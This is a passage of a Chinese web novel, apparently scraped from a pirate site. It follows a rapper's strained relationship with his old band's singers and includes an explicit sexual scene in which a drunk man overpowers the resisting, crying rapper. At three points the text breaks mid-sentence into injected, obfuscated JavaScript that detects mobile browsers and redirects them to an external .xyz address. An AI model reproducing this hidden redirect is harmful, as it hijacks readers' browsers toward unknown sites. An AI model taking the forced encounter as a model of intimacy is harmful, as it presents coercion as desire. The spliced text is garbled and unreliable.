他一边弹一边唱,唱到半路再也唱不下去,坐在录音工作凳上放下吉他,捂住脸低低说:“……你让我怎么唱。” “你哭什么!”邱纪澔在背后喊,“你继续唱,有什么好哭,哪个摇滚主唱在台上哭?” “我不能哭吗?!”乔文秋声音也大起来,“摇滚主唱就不能哭吗?” “哭有什么用?你这个样子表演给谁看?粉丝吗?”邱纪澔走过来抬脚踹他凳子,“要哭的话谁管你!我走了,谁——” “——谁管啊?!”乔文秋从凳子上跳下来,“反正席泽池不管!他走了,你也不管!你要走,留下我一个,你们都不管!” “我又不是搞乐队的,”邱纪澔皱眉,“我一rapper!” “你做编曲啊!”乔文秋抓着他衣领,“你不会吗?你留下来做编曲啊?!” “我做编曲你就唱吗?”邱纪澔把他手往下扯,“你知道自己在说什么?” “你编啊!”乔文秋又哭又笑,“反正主唱是我,你编我就唱!” 一个乐队的曲风哪能说改就改,更何况旧日还是席泽池一手创办的,他的那些曲子……邱纪澔莫名一股怒气:“你不能——” “那你把那张专辑做完!” “谁说不做了?!”邱纪澔更大声吼回去。 “那你继续做,”乔文秋要他发誓,“你说你绝对会做。” 邱纪澔说:“我不做我就去死!” 那天还在下雨,他提着行李箱转头就走,兜里揣着那张半成品的专辑U盘。 “小乔,他被你惹哭…”和他擦肩而过的霍卓推开门,走进来诧异道,“……你怎么也哭了。” 邱纪澔在门外蹲下来掉眼泪,乔文秋缩在椅子旁边也一直在哭,直到眼泪再也流不出来,蜷缩在地上一时站不起身。 但这些都是已经过去了的。 “你说要做……”乔文秋沉思着问:“那我们什么时候开始?” 5. 5 那张半成品专辑他自己已经在做了,这些年也一直在研究,不然干什么从trap转型成melody,还玩的是Psy Trance,总不能是闲得蛋疼所以想尝一下云南菌子到底致不致幻。 乔文秋纠结了一会儿:“我们需要告诉席哥吗?” “告诉个球。”邱纪澔冷哼一声,嗤笑说,“他配知道?” 邱纪澔这副态度着实是由来已久,每每一提到某三字男就开始烦躁,乔文秋也不太好多说什么,只得安慰人累的话先休息好了。 刚从音乐节回来的人哼了声,随手一扔手机就把自己缩进沙发角落。 实在是不想动,但窝了一会儿,邱纪澔还是忍不住拉起一截卫衣下摆看了一眼,洗澡时怎么也洗不下去的痕迹印在黑珍珠般蜜色的肌肤上,仿佛仍然还残留着对方手指滚烫的温度,被牢牢固定着不让移动丝毫。 完全一塌糊涂,邱纪澔现在只要想到席泽池就满脑子浆糊,一时半会什么也无法思考。 前半场在台上蹦迪,后半场也算是被迫蹦迪,也不知道暴风眼现在的主唱在经历下午的收尾场后还哪来的那么多精力,他凌晨六点才从床上爬起来滚回自己房间,洗澡时差点没一头栽倒在浴室。 收拾完觉得烦,又不会抽烟,大名鼎鼎的音乐制作人MissQ从衣兜里摸了摸,只好对着窗户抿完了一整根草莓味棒棒糖,然后就这样叼着塑料棒单纯坐在床边发呆,睡意还没来得及酝酿出来,便收到方天致喊他起床一块赶飞机的消息。 至此一来,自认是一名直男的新生代rapper邱纪澔不管是生理方面还是心理方面都遭受暴击,现在很需要一段时间来进行自我调解。 他自我调解的方式就是写歌。 手机消息一律全屏蔽,复杂烦躁的情绪通通转化为质量参差不齐的乐曲,邱纪澔激情创作十二小时,结束一看觉得自己写的是坨狗食玩意,一躁下愤而删除,又在删除完零点零一秒后开始焦虑“我是不是删太快了这玩意也许还能救一下”,思来想去,最后臭着张脸去回收站里进行一个垃圾回收。 狂草——质疑——回收,反反复复,他就如此搞了整整一周的电子仰卧起坐,情绪发散地差不多了才打开消息聊天框,把之前接的快到规定日期的音乐人单独拉了个分组归为一类,按着备注的时间排表一个一个去戳人,准备开始上工赚钱。 他公司实在太佛,身为一个会编曲,而且技术还业内有名的rapper,邱纪澔的生活质量基本处在悠闲一点和舒服的悠闲一点之间徘徊——这取决于每个月的大单小单量,所以没事干时他一般都会给自己找点活做。 活很好找,哈圈风评在外,大部分rapper所在的公司都不会怎么管人,方天致所在的公司算是个例外,毕竟投入太多万一翻车被爆出来点什么血本无归可不好,自然也不像歌手似的有什么专门为他们编曲作曲的工作室之类的。 更何况大部分人就单纯觉得酷便来混圈,线上线下的光会填词再耍耍嘴皮子,编曲是个高端的技术活,他们不怎么会,那有个免费的好曲子自然是一流多用,邱纪澔算是曲库网站那个每月按时发赈灾粮的好心人士,但凡觉得用不上或是写的一般的beat他就一股脑全塞里面,而且抛去这个,约的话他也很便宜。 混音200版权400,从头到尾全定的话他才一千五一首,故而邱纪澔一向不缺线上的活,一年到头排期满到爆表,除过烂到可以的社交技能和半天憋不出一句punchline的freestyle外,公认的FakerMissQ其实在圈内风评还不错。 Faker邱纪澔开始上工了,选择将一切都抛之脑后,终于将那点席泽池留下来的存在感从脑海里挤走,在一个下午收到了乔文秋发来的消息。 【Fall:MQ,你要来北京玩吗?】 乔文秋说他已经把老房子的东西都整理完了,一部分给邱纪澔寄到杭州,一部分寄到了北京——他接手主唱时还没成年,后来考了川音乐队就搬去四川,前段时间刚一毕业,旧日乐队整个便再跟着他搬迁去了北京。 北京,怎么又是这地方,邱纪澔都快对北京也PTSD了,如果打的是视频通话,那么他绝对要翻白眼拖长音调呵呵表示“北京到底有谁在”了,但面对冰冷冷的聊天界面,他只抬手冷冰冰地回了句“哦”。 ——这句话意思就是要去了。 旧日在北京正式安家,这是件大事,怎么说他也得去看一下,哪怕单纯遛一圈那也是看。 主要他们这些搞音乐的不比明星演员爱豆,生活乍一看无聊得要死,不四处跑跑是真能在房间里一直写歌写到厌倦写到发霉,直到憋不出灵感憋屈猝死。 大部分音乐人的生活都寡淡得能淡出个鸟来,一般被认为星光璀璨保姆车接车送出入高级场所的其实只有明星那类,普通演员比较像按时上班的社畜,跟着剧组四处乱跑,爱豆暂且不提,这类人自有粉丝的一套说法,至于其他的,小数音乐人才能享受那种巅峰人生。 在音乐人里,有大热专大爆曲的躺着数钱就是了,能压得住现场不跑音不破音并且脸还行的就四处线下跑场子接活,什么都不行的便在网上继续当网络男神,这其中能开得起演唱会巡演的这边一般都认为是行业翘楚,这不多,暴风眼乐队绝对算一个,之前席泽池在的旧日乐队是,现在的旧日靠着卖情怀也勉强算是。 邱纪澔随手抓了两件短裤短袖,揣着一行李箱的宝贝设备就朝着北京出发了,在机场刚下飞机,他就先后接到了两个人的消息。 乔文秋拍照说正给他铺床,发来了旧日现在的地址,内含一份docx文档详细告诉了他不搭车的话要怎么走,还问他下午要吃什么,邱纪澔压根懒得点开,按着语音回了一句随便。 方天致的消息就比较简单了,只有一句语音:“bro,你来不来北京?” 北京北京北京。 这是干什么。 邱纪澔在路上挑着眉给他发了一个视频通话,让他去看自己身后高高在上的中国尊,这地标太好辨认,方天致咦了半晌,不知道脑袋加载了什么:“操,不厚道啊,我不是给MC江说了我来邀请你吗,怎么他提前给你说了?!” “什么玩意,”邱纪澔一头雾水,“我没和他有联系。” “那怎么个事,”方天致问,“他刚从印尼旅游回来,打算在北京组局,让我给你提一嘴……所以你现在来北京干什么?有工作?” “没,”邱纪澔简单道,“看个朋友。” “谁啊,内白毛?”方天致很怀疑,“他不音乐节一结束就跑去了青海了吗?” “以前的朋友,”邱纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16314654|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澔无语,“我好端端来看汤程逸干什么,我有病啊?” “……不是哥们,”方天致震惊,“你什么时候背着我跟白毛哥有其他朋友了?” 邱纪澔一时不知道是该回“我还不能有个朋友了?”,还是该说“方天致你是不是脑子有病”,最后他思考了一下,选择继续赶路不和傻缺说话。 方天致倒完全没在意他理不理自己,就算全世界都沉默他也能自己一个人聊的很嗨,从音乐节结束都干了些什么再到吐槽狗公司,红毛男聊得酣畅淋漓眉飞色舞,最后喝了口水,歇了歇开口: “…诶bro你知不知道,有个乐队前几天搬到北京来了。” 邱纪澔马上就到乔文秋发来地址的门口,正给对方发消息说自己马上到了,闻言随口问了声:“哪个?” “就那个旧日,过去的life落下的Sun。” 方天致不知道他跟旧日那些乱七八糟的过往,他只知道邱纪澔一视同仁的不喜欢所有乐队,反正两个人从认识起就聊的很来,于是很具有分享精神地解释起来:“就是席泽池之前在的乐队,现场翻了大车那个,视频你也该刷到过…这之后他消失了两年才进的暴风眼,之前就是在旧日。” 说这话。 邱纪澔不止是知道,他还过分了解,而且现在正站在人家新地址的门口。 他把手机随便晃了晃,楼道内色彩染火般的长条横幅就被镜头收录,上方“旧日,永不落日”的口号被印刷得无比清晰,方天致眼尖,立刻大喊起来:“……对对对就是叫这个!” “等等!”他一秒又反应过来,“你怎么——?!” “见朋友。”邱纪澔说回到这个话题。 “你什么时候跟搞乐队的交朋友?!”方天致一脸愤然,“MQ,MissQ——你背叛黑怕!” “都说之前的了。”邱纪澔不耐烦。 “那也不行,”方天致不接受这个理由,“我懂了,你来北京就是为了这个?你跟他关系多好?怎么还从杭州专门来这一趟。” “嗯…”邱纪澔不愿意多说,“就,算是特别好吧。” “乔文秋?”方天致说,“这意思是你也认识席泽池了?” 邱纪澔没吭声,方天致脑洞大开,现场百度搜了旧日的资料,啧了声自顾自点头:“对,他在旧日时你还没跟我认识,他离开后你才出来的。” “那你俩怎么音乐节招呼都不打?跟不认识一样,关系很差?……看你这样之前也不像是能和他搞好关系的样子,不过听汤程逸说姓席的性格也不烂啊,”邱纪澔不说话,方天致对着他的表情猜了猜,“……难不成你跟他有什么过节?” 邱纪澔很明显地皱了下眉,脸色臭得可以,像是要去杀人,作势就想挂断电话,方天致彻底惊了:“你和他真有什么啊?!” “没。”邱纪澔不想再进行这话题,“没有。” “可你怎么这副样子,”方天致端详了一番他的表情,很仗义地表示,“真有的话我和你一起骂他,让汤程逸录下来直接当着他面放,或者我一会儿就写给暴风眼的diss曲,专门diss主唱,他怎么敢欺负我兄……” “……跟他没关系。” 邱纪澔顿了顿,压低声音,在方天致不解的目光里继续慢慢说:“…我只是单方面有点恨他。” 6.6 乔文秋给他把客房收拾出来了。 说是客房,其实也就是在杂物间里腾出空地再搬了个沙发,霍卓说这间放杂物的其实原本是书房,但带的东西太多,到现在还没整理完,还没来得及收拾的那些就先被搁置在了这里。 楼下就是调音室,邱纪澔四处逛了一圈,发现键盘贝斯和架子鼓那些全定制了新的,旧日的logo在上面亮得有些显眼,乔文秋把席泽池那把被砸破角的吉他用透明玻璃框起来了,放在离门最远的小角落里,也不知道是在展览还是缅怀。 “你那键盘需要罩子吗?”乔文秋敲着玻璃框问,“放你房间或者客厅,这个还挺好用的。” “不需要。”邱纪澔表情恹恹,皱眉说,“那玩意被我扔地下室了,摆出来看着烦。” 乔文秋一听这语气就知道他又在表演反方向的钟了,没在意他到底是怎么收拾的,只是点点头说:“放了就行。” 邱纪澔没忍住抿了抿唇。 他是真扔地下室了,乔文秋寄过来的那些东西他一个都没拆包,怎么收到的就怎么让人原封不动地给抬进了地下室里。 其他物品有什么不清楚,总之里面的Synthesizer编曲键盘绝对是他目前最不想看到的东西。当时他过十五岁生日,席泽池骑着机车载他跑遍了全市所有琴行,两个人挨家挨户地试了整整一天的音,才终于挑出了现在被封在快递箱里的最满意的一台。 故而用脑子随便想想就知道那键盘所代表的含金量以及精神意义了,真要放客厅那邱纪澔每秒经过都要给它狠狠来一脚,所以某方面来讲,不摆出来是因为他嫌脚疼。 席泽池给他买这台键盘前曾问过他要不要学吉他或者贝斯,那会儿所有乐队都最缺贝斯手,不过随着这些年Bass笑话越来越多,现在一个乐队最缺的变成了鼓手,但不论什么时候,键盘都是最为特殊的那一个,毕竟坊间流传着这样一句话: “你可以不要,也可以让键盘手包办几乎一切。” ——虽然根本没想当乐队成员,但前任主唱离开后,邱纪澔还是莫名其妙就成为旧日乐队事实上的“第六个人”了。 席泽池留下的曲子乔文秋唱不了,升不上调,他就一首一首全给改了,改的太习惯写的太顺手,以至于这些年旧日发布的每一首新歌,在编曲作曲混音制作那一栏里都能看到新生代rapperMissQ的名字,仿佛用机枪焊上去一样,紧跟着乔文秋的大名,连位置都不带变一下。 帮你热场、为你垫音、给你写歌……这一项项列出来,喜欢考古的旧日粉丝都要把他跟乔文秋的cp磕疯,毕竟在她们看来,一个混地下的rapper专门为你热了一整年的场,这就算不说是真爱也到了该以身相许的程度,至于霍卓—— 怎么说呢,霍卓比较像他俩的爹。 衣、食、住、行,甚至于情感问题他都会管,性格来讲天生就比较爱操闲心。他之前是旧日的贝斯手,手腕受伤后便退居幕后当了乐队代理人,邱纪澔出发那天和乔文秋吵了一架,闷在墙角掉眼泪到站不起来,最后还是他开车送去车站的,再之后乔文秋去大学艺考也是他在陪考。 一个还没奔三的家伙,送乔文秋笔试那天被同场家长问“你儿子这么大是不是结婚早”,给霍卓惊得回来反思了整整一个晚上,吓得后来再面试就把已经在那里开始搞音乐的邱纪澔摇了过来,这次倒是没人问邱纪澔有没有儿子那问题了,他们改问他“你来陪男朋友考试啊?” 川渝人民在这方面还是有点太超前了。 邱纪澔出来得早,但没在社会上混多久就被席泽池捡了,那会儿压根不知道这世界上还有一种存在叫男同性恋,闻言挑着眉狐疑看人,神情有多桀骜眼神就有多困惑,把问话的人看得硬生生将后半句憋了回去。 不过他现在知道了。 他不只是知道,他还真真切切被男的给搞了。 邱纪澔一想到这事就心烦意乱。 他本身已经忘了的,但乔文秋给他收拾出来的这间不知道是杂物室还是书房的房间当真乱得可以,想着在这住那顺便帮他们整理一下,结果就翻到了一箱子的奖项。 商业的艺术的都有,金的银的纸质的琳琅满目,不是画着旧日的logo就是写着席泽池的大名——席泽池席泽池席泽池,这三个大字满满当当占据视野与脑海,邱纪澔猛地把箱子合上又推远,克制住所有情绪才没再朝它踹上一脚。 身上的痕迹哪怕淡下去还在发痛,如果这时候乔文秋再要问他席泽池怎样,那他肯定要回答“神经病席泽池疯狗一个”,押不押韵暂且另说,反正他就是要骂。 咬人那么疼怎么不算是一种疯狗,“席泽池大神经病大神经病席泽池席泽池你神经病啊”这句话再回想起来已经不能完整表达他的怒火,Faker邱纪澔把自己砸到沙发上,捂住脸半晌,发现自己被气到憋不出一句punchline。 虽然身为一个无口臭脸男的他可能本来就憋不出什么diss人的punchline,不过这不重要——归根到底,那天也是他自己非要贴上去的。 他是在livehouse里突然遇到的席泽池。 音乐节结束当晚的livehouse是rapper专场,他和方天致身为咖位最大的两个,被邀请去站台当控场MC——方天致负责在台上热场起范,他负责在一旁当DJ顺便backup,剩下的rapper们轮流着上,但水平过于拉胯,属实浪费他的曲子,邱纪澔打了一会儿碟就觉得烦。 台下还一直起哄让他和FreeSky现场battle,邱纪澔拿起麦克起了几段快嘴,流畅的押韵和急速的flow引得呼声更高,躁得整个现场都乱成一片。 一旁的方天致在万人蹦迪里搂着不知道谁一溜烟就跑得没影,邱纪澔交接完下了台,打算随便喝几杯就回去睡觉,冷不丁看到人群角落里那张再眼熟不过的脸。 灰发渐变狼尾和那点泪痣,鬼知道席泽池一个唱摇滚的在表演结束后不好好休息,来rapper专场的livehouse是干什么,但转眼一想是席泽池又也合理,这人在所有人眼里已经神经到干什么都不稀奇的地步了。 “喝酒啊,干什么。”席泽池看样子还喝得挺高,歪着头看向走近的他,眯起眼睛来了一句,“你个挺高啊妹妹?” 谁看到一个一米八六的男的第一反应是喊妹妹?邱纪澔戴的鸭舌帽,那张帅脸摆在那里总不至于男女不清,昏暗灯光一打更是帅得人神共愤,这样下去,席泽池再喝点恐怕要人畜不分。 邱纪澔很怀疑他是不是喝的太大了点,上去把他手里的酒杯抢了扔在一旁,掏出手机打算联系汤程逸,想给他说暴风眼主唱快喝死了让他联系乐队其他人来捡尸。 “我看你有点眼熟……”席泽池没管他的动作,过了几秒,突然伸手握住他手腕说,“奇了,该不会是在做梦?” 邱纪澔一个字没打出来,真想骂一句神经病了,席泽池手劲大得可以,他下意识喊他名字,没收住声就被旁边的人听到。 “刚刚是不是有谁说了句席泽池?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324599|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我靠席泽池?” “席泽池呢?!席泽池在哪?” “——你有病啊!”摇滚巨星席泽池本人闻声就往人堆里走,邱纪澔一把扯住他,拿他一点办法都没有,“都被认出来了还往那边挤!” 席泽池被他扯得脚步一顿,回头看了眼,伸出胳膊顺势压在他身上问:“那往哪走?” 邱纪澔臭着张脸:“随便你往哪走。” 席泽池拖长音“哦”了声,绕回来问:“那你不让我走那边?” “我……”邱纪澔收了声。 他真是疯了才跟喝大了的席泽池站在这掰扯,他跟醒着的席泽池都扯不赢,邱纪澔一把拉着他就往外边走,取下头上的鸭舌帽扣在他脸上,心想自己真是咸吃萝卜淡操心,席泽池爱被谁捡就被谁捡了算了,反正这么多年不见,对方和谁有个什么跟自己也没关—— “真是怪了,”席泽池说,“我还是头一次被人捡。” “谁要捡你啊!”邱纪澔烦得要死。 他把人塞到网约车里报了地址,正打算清静一会儿想想怎么处理这个醉鬼,席泽池又凑过来问:“真没打算捡我?地址都知道,总不能是搞暗恋……?” “我也住那,”邱纪澔挎着个批脸,很不高兴地回呛,“谁脑子有病会暗恋你?” “这样。”席泽池点点头,反而再贴近了点,“那还住一家酒店,果儿啊?” 都说了怎么样一个傻逼才会把他认成要和他上床的女的啊!邱纪澔憋着口气:“你眼瞎?!” “怎么真生气了?”席泽池支着下巴笑起来,“太好逗了你。” 哪里好逗了?! 邱纪澔实在是一点也不想跟他讲话了。一看到那张脸他就觉得胸口发闷,坐在车上任凭席泽池怎么说话也不回复,但到了酒店大堂又遇到了问题,他不知道席泽池住哪间房。 这地方有一半是来跑活动的音乐人,剩下的另一半是神通广大的代拍和狂热粉丝,两人多待下去一秒明天就能上热搜头条,标题就叫《席泽池喝大被rapper捡了》,没办法,邱纪澔只能把人先拖到了自己房间。 这下席泽池对于他是个上赶着来和自己上床的果儿深信不疑了,在邱纪澔想把他推去浴室时掐着他的脸看了好一会儿,不知道醉鬼的脑袋里都思考了些什么,末了直接伸手摸进了他衣服里。 跟那张硬到说不出一句好话的嘴不同,手下的触感倒是软绵绵的,一手都有点包裹不住,席泽池也是有点小惊讶:“这么大还挂空挡,玩这么野?” 邱纪澔已经不想和他辩论自己到底是个男的还是个女的了,他一点也不想知道自己此刻在喝醉了的席泽池眼里是个什么形象,打算把人扔进浴室洗洗就睡,剩下的怎样都和他再没关系。 他心里的睡是单纯的睡觉,席泽池所认为的睡就比较含有歧义了。洗洗再睡和睡了再洗其实差不太多,摇滚巨星其人这会儿是真有点不清醒了。 他觉得自己是在做梦。这个梦还有点玄幻,大概就是自己之前养了好几年的小孩好像变成了个女的,又好像还是个男的,胸挺大腿挺长看着挺好搞的,这会儿在梦里穿了条短裤,大腿以下全露,线条修长又匀称,灯光那么一打,黑色蜜皮也紧致光滑,怎么看都确实是一双好腿…… 不对,他做春梦怎么还梦到邱纪澔了,他总不能是个恋童癖吧,虽然这人身高乍一看和自己差不多,之前才只到自己胸口—— 但反正都是在做梦了,席泽池把人压在浴室门上,自顾自啧了声说:“变态就变态吧。” 7.7 都变态了,都做梦了,手都摸进衣服里了,这程度上不再干点什么简直有违常理。 面前人到底男的女的,席泽池摘了人鸭舌帽,感觉头发刺刺的有些扎手,不信邪地顺着脸部轮廓再往下滑去——我操有喉结怎么还真是个男的—— 那男的就男的吧。 暴风眼乐队的主唱短暂地为《席泽池是个公认的直男》这话题默哀了零点零一秒,又想反正是做梦也没人知道他即将要搞男的,虽然仍然在纠结天杀的所以为什么大胸长腿妹会变成男的,但仔细一想—— 算了,搞邱纪澔嘛,搞就搞了,养他那么久在梦里给自己搞搞怎么了。 于是公认的直男席泽池在一番心理疏导后自觉毫无心理负担,抬手就把人摁在浴室门上翻了个面。 被摁住的人是真想骂他了。 邱纪澔整个人都被紧紧压着贴住浴室的门,在脑海里疯狂刷屏《席泽池你他喵的竟然真的要搞我》,想破头也猜不透这人在明知他是个男人的情况下怎么还这样继续上下其手,此刻再要出diss曲的话那就减缩一下写成《席泽池你竟然敢搞我》,虽然这种涉及rapper底线问题的东西他根本发不出去。 后面那人指节上还戴的音乐人惯例起范儿用的五金戒指,花里胡哨的装饰和金属镶在上面,蹭到腰侧就硌得人疼到吸气,邱纪澔痛得一直拧腰想躲,皱着眉开口想骂人: “你真——” 邱纪澔嘴才张了一半,冷不丁就被席泽池按在门上顶了一下。 后者在他腰侧摩挲着,似乎是在找一个合适的借力点,冰凉的戒指在皮肤上划来划去,还有心思去拍他的大腿:“别乱动,我第一次搞男的。” 靠,这话说的,跟谁搞过一样。 邱纪澔被掐着腰,挣扎着就要抬腿踹人,但一想到是席泽池,还是喝成这样的席泽池,他这一脚实在是没办法那样毫不留情地直接踹出去,简直越想越烦,正愤愤不平地纠结着要不要宽容一下醉鬼好了,一不留神就被扣住了腿根。 紧接着,背后那人贴住他的耳朵问:“这么欢迎我啊?” 腿一抬起来席泽池就看到了,还以为他迫不及待,心想不愧是做梦啊还真不够真实的,该是邱纪澔本人早开始给他甩脸色了。 但事实证明,不管是不是本人,只要是邱纪澔那都暴躁无比,MissQ其人从见面到现在已经忍他好久了:“席泽池你神经——” 后面一个字没说出来,因为嘴被他堵上了。 席泽池吻得很凶,酒精味混着香水气息一股脑全涌了过来,因为味道浅反而混杂在一起不怎么难闻,是那种有点甜的,还有点上头的奇特味道,跟吃了没炒熟的菌子有的一拼,邱纪澔瞬息间被这味道裹挟得眩晕起来,思绪糊成一片,迷迷糊糊就任由他撬开了齿关。 嘴唇是软的,舌尖纠缠在一起,却突然被某种又冷又硬的金属划过,什么东西……席泽池伸出手掐住他的下颌,索性直接把人舌头用指头夹了出来。 一枚圆球形的舌钉正嵌在殷红的舌面,在灯光下亮闪闪的,从不同角度看去颜色还不一样,邱纪澔显然被亲懵了,竟然就这样乖乖地侧着头张嘴让他玩自己的舌头,眸光湿漉漉地盯着人看,一时间连目光都无法聚焦。 这再怎么看都像是个闷骚。闷是真闷,倒是也骚得不行,还打在这么隐晦的地方,也不知道这几年是跟谁学坏了。 席泽池就只在左耳打了个耳洞,对着那枚舌钉研究够了终于放过他,抬眼看到他这副样子就笑:“我们啾啾,是不是就等着谁这样亲你?” 邱纪澔下意识就要摇头,残存的理智却让他猛地抿住唇,臭着脸硬邦邦地挤出一句:“关你什么事。” “怎么不关我事?”席泽池仍然语气带笑。 不过还挺好亲,席泽池有点喜欢那枚舌钉,手顺势回到刚才的地方四处捏了捏,被紧致饱满的腿肉糊了一手,倒是没想到这人大腿也跟胸口一样丰腴。 他另一只手再顺着腰线向前探去,仔细对比了一下两个地方的触感,没品味出个什么所以然来,反而被怀里人不断战栗的身体反应勾得性致更高。 也是奇了,天赋异禀到这样敏感。 席泽池颇有点处于喝大了的头脑一热之中,亲完嘴把人脑袋一放就顺着他后颈皮开始啃,邱纪澔身上也不知道喷的什么,好闻得有些不合乎逻辑,让他感觉自己在啃什么美味佳肴,手上还在揉的就是巧克力欧包,可惜性别不对,哪怕再蓬软饱满糊他一手也挤不出什么香甜的馅料。 “放松一点。” 席泽池拍了拍他的腰,试图将他的腿再分开些,却压根就再往边掰不开,怀里这人死犟地并着腿进行顽固抵抗,肌肉线条紧绷,但身体反应倒是大,明明还什么都没开始干呢,颤得跟已经被彻底欺负过一轮了一样。 “真第一次啊?”席泽池觉得反应这么厉害有点不像,但他也不知道男的第一次被搞到底是个什么状态,总不能都做梦了邱纪澔还背着他被别的男人搞过吧,不怎么爽地啧了声,顺着软嫩的腿侧缝隙就蹭了过去。 邱纪澔想说你这傻逼不是废话吗我一rapper能被男的搞吗,不是第一次怎么还能身经百战啊,但一想自己现在就是在被男的搞,顿时心情复杂起来,再侧头一看也真够服的,席泽池表情怎么还比他还更不高兴。 好端端的,谁怎么又惹他了?! 这问题邱纪澔真想知道,席泽池用的劲太大,就只顾着把他勒在怀里不断地【-】 紧贴着门的胸膛成了所有力道的支撑点,一时被挤成实打实的一团,在布料的摩擦下又痛又痒。 膝盖莫名开始发软,他扒着浴室的磨砂玻璃门撑起自己,努力侧过身想甩掉席泽池的手,被零零散散的饰品硌在皮肤上,眼泪唰一下就掉了下来。 “怎么还哭了?”席泽池伸手去抹他的眼泪,舔了下发现咸咸的,这倒有点真实了。 邱纪澔带着泣音喊:“…你那破戒指——”到底能不能摘了?! 真操了,对上席泽池,邱纪澔这一晚上就没说出几句连贯的话,他不用想就知道自己明天身上绝对一堆乱七八糟的印子,不是被啃的就是被饰品划的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330193|182930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他那戒指材质厚实,说不定还要泛起淤青。 席泽池不动他就想自己去给他摘了,上半身还没转过去,对方从后面腾出一只手钳住他双腕,给他一把从浴室门口拽到床边了。 本身就没什么力气,邱纪澔被他弄得膝盖撞到床沿,疼得没忍住叫出声,身体彻底一软,整个人直接跪在了地上。 幸好下面还有地毯,不至于膝盖被磕出血来,席泽池倒也不讲究,把他手反折背后,跟骑马牵缰绳似的拽着,把他脸压在床上就着这个姿势还能继续动作。 邱纪澔浑身脱力,几乎跪都要跪不稳,意识混乱地断断续续呜咽他的名字:“席泽池……席泽池…你、……” 一句话都说不出来,到最后全混杂成了甜腻青涩的呻吟,邱纪澔叫名字时喘得跟刻意勾引人似的,他越叫席泽池越喜欢,之前也没发现自己名字这么好听。 腿张不开,倒是挺会叫,趴在床上呜呜咽咽地掉眼泪,声音也不收一下。 隋卞文化这小公司能准备的酒店房间自然也不是什么高档套房,隔音效果不算很好,邱纪澔一边抽噎一边叫人,隔壁的人似乎是忍了好久,哐哐哐就开始砸墙。 席泽池扣着他的肩膀停下来,像是清醒了一点,可惜下一句就能看出他只醒了一半:“我那是套间,换个地方。” 邱纪澔也不知道他是真不清醒还是假不清醒,竟然还记得自己房间在哪,腿还软着就被扯起来随便裹了件衣服拽出了门,踉踉跄跄到楼上的房里又被搞了另外半场。 幸好在半夜走廊里没什么人——就算有人的话邱纪澔也顾不上去遮什么,他被弄得快傻了,勉强走这几步路都够呛,到最后快到门口了还是被揽着腰公主抱进去的。 也不知道是一个直男被搞晕过去更炸裂点还是一个rapper被搞晕过去更炸裂点,亦或者身为一个rapper的直男被搞晕过去才最炸裂。邱纪澔模模糊糊晕了一会儿——可能也不止一会儿——再睁开眼时,被掐得说话都说不出来,更别提还有什么力气去甩开人。 席泽池好像根本没发现他已经短暂地失去过一轮意识,毕竟怀里的人整张脸都陷在枕头里,从他那个角度也压根看不到。 邱纪澔一瞬间有些茫然地抬手摸上自己的脸,还在源源不断淌泪的眼眶传来刺痛,胸口还在被人毫不客气地抓着揉捏,他有些受不住地向前爬了几步,下一秒被扣住腰窝翻了个身。 无外乎席泽池刚摸进去时惊讶他挂空挡,那两处饱满又大又软,轻轻一拍还在荡漾柔波,这让他不禁陷入一种严谨的学者心态。 “也是怪了,”席泽池掐着那一点说,“男的就算了,都这么大怎么连个…都没……” 什么没什么的,他一个男的怎么可能会有那种东西啊?! 身上这人留下这句话就埋头乱啃,邱纪澔这才算懂了,叫着他名字想去推他,手臂酸软无力,嘴上席泽池席泽池了半天还是什么话都没能憋出来,小腿在空气中徒劳地挣扎了一会儿,急到被自己的嘴笨气得一直掉眼泪。 操,果然他还是最讨厌席泽池了。 8.8 被讨厌的席泽池正在勤勤恳恳地写歌。 不同于那些喊着艺术啊情怀啊就真的stay true了的独立制作人,暴风眼火得没边,却是个纯种的商业化乐队——摊开来讲就是它奉行的第一要义即为“搞钱”,所以一年到头,成员除了写歌发片做专辑跑巡演外还得额外完成一堆KPI,抛去钱是真赚得多外简直比社畜还要社畜。 那些签了合同的商单曲编都编不完,现在又有几首快到合约里规定的期限,一周没怎么休息的席泽池按下保存键,叼着烟向后一倒,将两条腿随意地搭在了桌子上。 “我杯子呢?”他朝一边问。 音乐节结束第二天他就一点不耽搁地启动了工作模式,一包烟一瓶酒一台MIDI键盘,埋头窝进录音室里便开始在软件上狂草起来,要魏巡形容的话就是这状态简直没眼看,虽然真实的音乐人工作日常就这样,但拍张照发微博粉丝还是能直呼滤镜破碎。 